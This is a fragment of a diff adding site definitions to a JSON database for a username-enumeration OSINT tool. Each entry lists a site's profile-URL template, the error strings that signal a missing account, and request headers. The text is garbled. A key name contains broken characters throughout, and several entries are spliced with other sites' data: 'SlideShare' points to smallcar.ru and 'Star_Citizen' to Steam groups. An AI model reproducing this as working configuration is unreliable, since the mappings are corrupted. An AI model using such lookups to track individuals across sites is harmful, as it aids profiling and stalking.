"https://ukraineforum.de", + "usernameON": "Handrij", + "bad_site": "" + }, + "Forum_ukriversguidebook": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ukriversguidebook.co.uk/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.ukriversguidebook.co.uk", + "usernameON": "Franky", + "bad_site": "" + }, + "Forum_uktechhub": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page not found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://uktechhub.com/forums/users/{}/", + "urlMain": "https://uktechhub.com", + "usernameON": "uk-sentinel", + "bad_site": "" + }, + "Forum_ulanovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Результатов поиска нет", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "возникла проблема", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ulanovka.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ulanovka.ru", + "usernameON": "mac", + "bad_site": "" + }, + "Forum_ulfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": "https://ulfishing.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ulfishing.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ulisp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://forum.ulisp.com/u/{}", + "urlMain": "http://forum.ulisp.com", + "usernameON": "nanomonkey", + "bad_site": "" + }, + "Forum_ulybka_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "/noindex>-->

    ", + "errorTyp��": "message", + "url": "https://sign-forum.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sign-forum.ru", + "usernameON": "KalinaAlexandr", + "bad_site": "" + }, + "Signal_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorMsg2": "Signal Community", + "errorTyp��": "message", + "url": "https://community.signalusers.org/u/{}/summary", + "urlMain": "https://community.signalusers.org", + "usernameON": "whatnoww", + "bad_site": "" + }, + "Silver-collector": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.silver-collector.com/u/{}/summary", + "urlMain": "https://www.silver-collector.com", + "usernameON": "red", + "bad_site": "" + }, + "Similarworlds": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://similarworlds.com/{}", + "urlMain": "https://similarworlds.com", + "usernameON": "Messygirl3", + "bad_site": "" + }, + "Skodaforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorMsg3": "FASTPANEL", + "errorTyp��": "message", + "url": "http://www.skodaforum.ru/member.php?username={}", + "urlMain": "http://www.skodaforum.ru", + "usernameON": "rivera", + "comments": "bad", + "bad_site": 1 + }, + "Skyblock": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://skyblock.net/members/?username={}", + "urlMain": "https://skyblock.net", + "usernameON": "noobcrew", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skynetzone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://skynetzone.net/members/?username={}", + "urlMain": "https://skynetzone.net", + "usernameON": "battarismos", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyrimforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://skyrimforum.com/forum/members/?username={}", + "urlMain": "https://skyrimforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyscrapercity": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "redirection", + "url": "https://www.skyscrapercity.com/members/?username={}", + "urlMain": "https://www.skyscrapercity.com", + "usernameON": "adam", + "bad_site": "" + }, + "Slack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.slack.com", + "urlMain": "https://slack.com", + "usernameON": "blue", + "bad_site": "" + }, + "Slamdunk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.slamdunk.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.slamdunk.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Slantmagazine": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.slantmagazine.com/author/{}/", + "urlMain": "https://www.slantmagazine.com", + "usernameON": "justinclark", + "bad_site": "" + }, + "Slashdot": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " - Slashdot User", + "errorMsg2": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://slashdot.org/~{}", + "urlMain": "https://slashdot.org", + "usernameON": "adam", + "bad_site": "" + }, + "Slides": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://slides.com/{}", + "urlMain": "https://slides.com/", + "usernameON": "adam", + "bad_site": "" + }, + "SlideShare": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Page no longer exists<", + "errorMsg2": "gen\">01.01.1970", + "errorTyp��": "message", + "url": "https://www.smallcar.ru/talk/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.smallcar.ru", + "usernameON": "lukey", + "bad_site": "" + }, + "Smart_lab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://smart-lab.ru/profile/{}/", + "urlMain": "https://smart-lab.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Smashcast": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.smashcast.tv/api/media/live/{}", + "urlMain": "https://www.smashcast.tv/", + "usernameON": "hello", + "bad_site": 1 + }, + "Smashrun": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://smashrun.com/{}/", + "urlMain": "https://smashrun.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smogon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.smogon.com/forums/members/?username={}", + "urlMain": "https://www.smogon.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Smolmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://smolmama.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://smolmama.com", + "usernameON": "Kisma", + "bad_site": "" + }, + "Smugmug": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://{}.smugmug.com/", + "urlMain": "https://smugmug.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smule": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Right tune, wrong note", + "errorMsg2": "Page Not Found", + "errorTyp��": "message", + "url": "https://www.smule.com/{}", + "urlMain": "https://www.smule.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Snapchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.snapchat.com/add/{}", + "urlMain": "https://www.snapchat.com", + "usernameON": "adam22hoe", + "bad_site": "" + }, + "Snbforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.snbforums.com/members/?username={}", + "urlMain": "https://www.snbforums.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Snowjapan": { + "country": "🇯🇵", + "country_klas": "JP", + "errorMsg": "Found 0 results", + "errorMsg2": "large ipsType_light'>There were no results for", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.snowjapan.com/community/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.snowjapan.com", + "usernameON": "nisoko", + "bad_site": "" + }, + "Soborno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://soborno.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://soborno.ru", + "usernameON": "arinasha", + "bad_site": "" + }, + "Soc-life.": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://soc-life.com/index/8-0-{}", + "urlMain": "http://soc-life.com", + "usernameON": "Ilona54", + "bad_site": "" + }, + "Sochi_profi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sochi.profi.ru/profile/{}/", + "urlMain": "https://sochi.profi.ru", + "usernameON": "Irina", + "bad_site": "" + }, + "Social_librem": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://social.librem.one/@{}", + "urlMain": "https://social.librem.one", + "usernameON": "adam", + "bad_site": "" + }, + "Social_microsoft": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The resource you are looking for has been removed", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://social.microsoft.com/profile/{}", + "urlMain": "https://social.microsoft.com", + "usernameON": "shartbandiha", + "bad_site": 1 + }, + "Social_tchncs": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "https://social.tchncs.de/@{}", + "urlMain": "https://social.tchncs.de/", + "usernameON": "Milan", + "bad_site": "" + }, + "Socialblade": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://socialblade.com/youtube/user/{}", + "urlMain": "https://socialblade.com", + "usernameON": "fred", + "comments": "cf", + "bad_site": "" + }, + "Socioforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.socioforum.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.socioforum.su", + "usernameON": "adam", + "bad_site": "" + }, + "Socionics": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.socionics.org/user/Profile.aspx?username={}", + "urlMain": "http://www.socionics.org", + "usernameON": "RWinner", + "comments": "bad", + "bad_site": 1 + }, + "Softboard": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "<p class='ipsType_large ipsType", + "errorTyp��": "message", + "url": "https://softboard.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://softboard.ru", + "usernameON": "Rambler", + "bad_site": "" + }, + "SoftwareInformer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://users.software.informer.com/{}/", + "urlMain": "https://users.software.informer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Solaris-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "<title>Hyundai Solaris клуб Россия", + "errorTyp��": "message", + "url": "https://solaris-club.net/forum/member.php?username={}", + "urlMain": "https://solaris-club.net", + "usernameON": "adam", + "bad_site": "" + }, + "Solo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://solo.to/{}", + "urlMain": "https://solo.to", + "usernameON": "red", + "bad_site": "" + }, + "Soloby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "QT Media 404", + "errorMsg2": "Универ soloBY", + "errorTyp��": "message", + "url": "http://www.soloby.ru/user/{}", + "urlMain": "http://www.soloby.ru", + "usernameON": "red", + "comments": "bad", + "bad_site": 1 + }, + "Somersoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.somersoft.com/members/?username={}", + "urlMain": "https://www.somersoft.com", + "usernameON": "johnhenry", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sony-club.ru/forum/members/?username={}", + "urlMain": "https://www.sony-club.ru", + "usernameON": "usman161rus", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony_stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Сайт закрыт", + "errorMsg2": "Форум Sony - Stratege.ru", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sony.stratege.ru/forums/member.php?username={}", + "urlMain": "https://sony.stratege.ru", + "usernameON": "kalpak", + "bad_site": "" + }, + "Sorento_kia-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sorento.kia-club.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://sorento.kia-club.ru/", + "usernameON": "king", + "bad_site": "" + }, + "Sotoguide": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://sotoguide.ru/users/{}/", + "urlMain": "https://sotoguide.ru", + "usernameON": "jura1987g", + "bad_site": 1 + }, + "SoundCloud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://soundcloud.com/{}", + "urlMain": "https://soundcloud.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Soundex": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://soundex.ru/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://soundex.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Soundgym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "[а-яА-Я]", + "url": "https://www.soundgym.co/member/profile?m={}", + "urlMain": "https://www.soundgym.co", + "usernameON": "raydrcougso", + "bad_site": "" + }, + "Soup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.soup.io/author/{}", + "urlMain": "https://www.soup.io", + "usernameON": "cristina", + "bad_site": "" + }, + "SourceForge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "error-page", + "errorTyp��": "message", + "url": "https://sourceforge.net/u/{}/profile/", + "urlMain": "https://sourceforge.net/", + "usernameON": "blue", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "TE": "trailers", + "Upgrade-Insecure-Requests": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Sourcewatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.sourcewatch.org/index.php?title=User:{}", + "urlMain": "https://www.sourcewatch.org", + "usernameON": "Rebekah_Wilce", + "bad_site": "" + }, + "Southklad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Форум кладоискателей - Юг Клад - Информация", + "errorTyp��": "message", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://southklad.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Soylentnews": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://soylentnews.org/~{}", + "urlMain": "https://soylentnews.org", + "usernameON": "adam", + "bad_site": "" + }, + "Sp-shopogoliki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://sp-shopogoliki.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sp-shopogoliki.ru", + "usernameON": "sima", + "bad_site": "" + }, + "Spaces": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spaces.im/mysite/index/{}/", + "urlMain": "https://spaces.im", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Spark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spark.ru/startup/{}", + "urlMain": "https://spark.ru", + "usernameON": "green", + "bad_site": "" + }, + "Spartak_msk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Вы не можете произвести поиск сразу", + "errorMsg2": "Информация", + "errorMsg3": "поиска: 0", + "errorTyp��": "message", + "url": "http://spartak.msk.ru/guest/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spartak.msk.ru", + "usernameON": "malyushenko", + "bad_site": "" + }, + "Spb-projects": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://spb-projects.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spb-projects.ru", + "usernameON": "Deij", + "bad_site": "" + }, + "Speakerdeck": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "User Not Found", + "errorMsg2": "loige", + "errorTyp��": "message", + "url": "https://speakerdeck.com/{}", + "urlMain": "https://speakerdeck.com", + "usernameON": "adam", + "bad_site": "" + }, + "Speedrun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not found.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://speedrun.com/user/{}", + "urlMain": "https://speedrun.com/", + "usernameON": "3Tau", + "bad_site": "" + }, + "Spiceworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/people/{}", + "urlMain": "https://community.spiceworks.co", + "usernameON": "adam", + "bad_site": "" + }, + "Spinchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spinchat.com/hp/{}/", + "urlMain": "https://www.spinchat.com", + "usernameON": "Adam", + "bad_site": "" + }, + "Splatoon_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://splatoonwiki.org/wiki/User:{}", + "urlMain": "https://splatoonwiki.org", + "usernameON": "Hewer", + "bad_site": "" + }, + "Spletenie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Страница не найдена", + "errorMsg2": "
    ", + "errorTyp��": "message", + "url": "https://forum.sportbox.ru/index.php?app=members&module=list&app=members&module=list&showall=0&sort_key=members_l_display_name&sort_order=asc&max_results=20&name_box=begins&name={}", + "urlMain": "https://forum.sportbox.ru", + "usernameON": "Thedolphin", + "bad_site": "" + }, + "Sports": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "%20", + "errorMsg": "Ничего не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sports.ru/search/?query={}", + "urlMain": "https://www.sports.ru/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Sportsjournalists": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sportsjournalists.com/members/?username={}", + "urlMain": "https://www.sportsjournalists.com", + "usernameON": "outofplace", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SportsTracker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\"code\":\"404\"", + "errorMsg2": "Not found", + "errorTyp��": "message", + "url": "https://www.sports-tracker.com/view_profile/{}", + "urlMain": "https://www.sports-tracker.com/", + "urlProbe": "https://api.sports-tracker.com/apiserver/v1/user/name/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Sportstracklive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.sportstracklive.com/en/user/{}", + "urlMain": "https://www.sportstracklive.com", + "usernameON": "PaddyLewtas", + "bad_site": "" + }, + "Spotify_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\t\t0 results", + "errorMsg2": "No search results found", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://community.spotify.com/t5/forums/searchpage/tab/user?q={}", + "urlMain": "https://community.spotify.com", + "usernameON": "adam", + "bad_site": "" + }, + "Sprashivai_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "http://sprashivai.ru/{}?sl", + "urlMain": "http://sprashivai.ru", + "usernameON": "red", + "bad_site": 1 + }, + "Spursarmy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">Ошибка

    ", + "errorMsg2": "Профиль", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://spursarmy.com/profile/{}", + "urlMain": "https://spursarmy.com", + "usernameON": "Sloock", + "bad_site": "" + }, + "SPW": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.spw.ru/members/?username={}", + "urlMain": "https://forum.spw.ru", + "usernameON": "kato", + "ignore_status_code": true, + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SQL": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "begin case_noresults", + "errorMsg3": "<TITLE>Òåõíè÷åñêîå Îáúÿâëåíèå", + "errorTyp��": "message", + "url": "https://www.sql.ru/forum/actualsearch.aspx?search=&sin=0&bid=0&a={}&ma=0&dt=-1&s=1&so=1", + "urlMain": "https://www.sql.ru", + "usernameON": "Birkhoff", + "comments": "bad", + "bad_site": 1 + }, + "Srclog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://srclog.com/{}", + "urlMain": "https://srclog.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ssb_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ssbwiki.com/User:{}", + "urlMain": "https://www.ssbwiki.com", + "usernameON": "NotBen", + "bad_site": "" + }, + "Stackexchange": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://unix.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "urlMain": "https://unix.stackexchange.com", + "usernameON": "telcom", + "bad_site": "" + }, + "Stackoverflow": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "p>No users matched your search", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://stackoverflow.com/users/?search={}", + "urlMain": "https://stackoverflow.com", + "usernameON": "adam", + "bad_site": "" + }, + "Stackoverflow_ES": { + "country": "🇪🇸", + "country_klas": "ES", + "errorMsg": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://stalkerbar.at.ua/index/8-0-{}", + "urlMain": "https://stalkerbar.at.ua", + "usernameON": "lordsfilmpw", + "bad_site": "" + }, + "Star-girl": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "url": "https://star-girl.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://star-girl.ru", + "usernameON": "Patricia", + "comments": "bad", + "bad_site": "" + }, + "Star_Citizen": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 -", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://steamcommunity.com/groups/{}", + "urlMain": "https://steamcommunity.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Steamid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Just a moment", + "errorMsg2": "Cloudflare", + "errorMsg3": "profile information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://steamid.uk/profile/{}", + "urlMain": "https://steamid.uk/", + "comments": "cf", + "usernameON": "blue", + "bad_site": "" + }, + "Stereo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stereo.ru/user/{}", + "urlMain": "https://stereo.ru/", + "usernameON": "Yamiha", + "bad_site": "" + }, + "Sti-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://www.sti-club.su/member.php?username={}", + "urlMain": "http://www.sti-club.su", + "usernameON": "Viktor85", + "bad_site": 1 + }, + "Stihi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Автор не найден", + "errorMsg2": "Поиск авторов", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.stihi.ru/avtor/{}", + "urlMain": "https://www.stihi.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Stop-narko_info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://stop-narko.info/search.php?keywords=&terms=all&author={}", + "urlMain": "http://stop-narko.info", + "usernameON": "Ergo", + "bad_site": "" + }, + "Stopgame": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stopgame.ru/user/{}", + "urlMain": "https://stopgame.ru", + "usernameON": "Diml", + "bad_site": "" + }, + "Store_kde": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://store.kde.org/u/{}", + "urlMain": "https://store.kde.org", + "usernameON": "statman", + "bad_site": "" + }, + "Storycorps": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://archive.storycorps.org/user/{}/", + "urlMain": "https://archive.storycorps.org", + "usernameON": "adam", + "bad_site": "" + }, + "Stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум - Stratege.ru", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.stratege.ru/forums/member.php?username={}", + "urlMain": "https://www.stratege.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Strava": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.strava.com/athletes/{}", + "urlMain": "https://www.strava.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Studfile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://studfile.net/users/{}/", + "urlMain": "https://studfile.net", + "usernameON": "adam", + "bad_site": "" + }, + "Stunited": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://stunited.org/profile/{}", + "urlMain": "http://stunited.org", + "usernameON": "mani-vel", + "bad_site": 1 + }, + "Subeta": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Invalid user", + "errorMsg2": "Error", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subeta.net/users/{}", + "urlMain": "https://subeta.net/", + "usernameON": "Brioche", + "comments": "cf", + "bad_site": "" + }, + "Subforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subforums.net/members/?username={}", + "urlMain": "https://subforums.net", + "usernameON": "romator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Substack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": 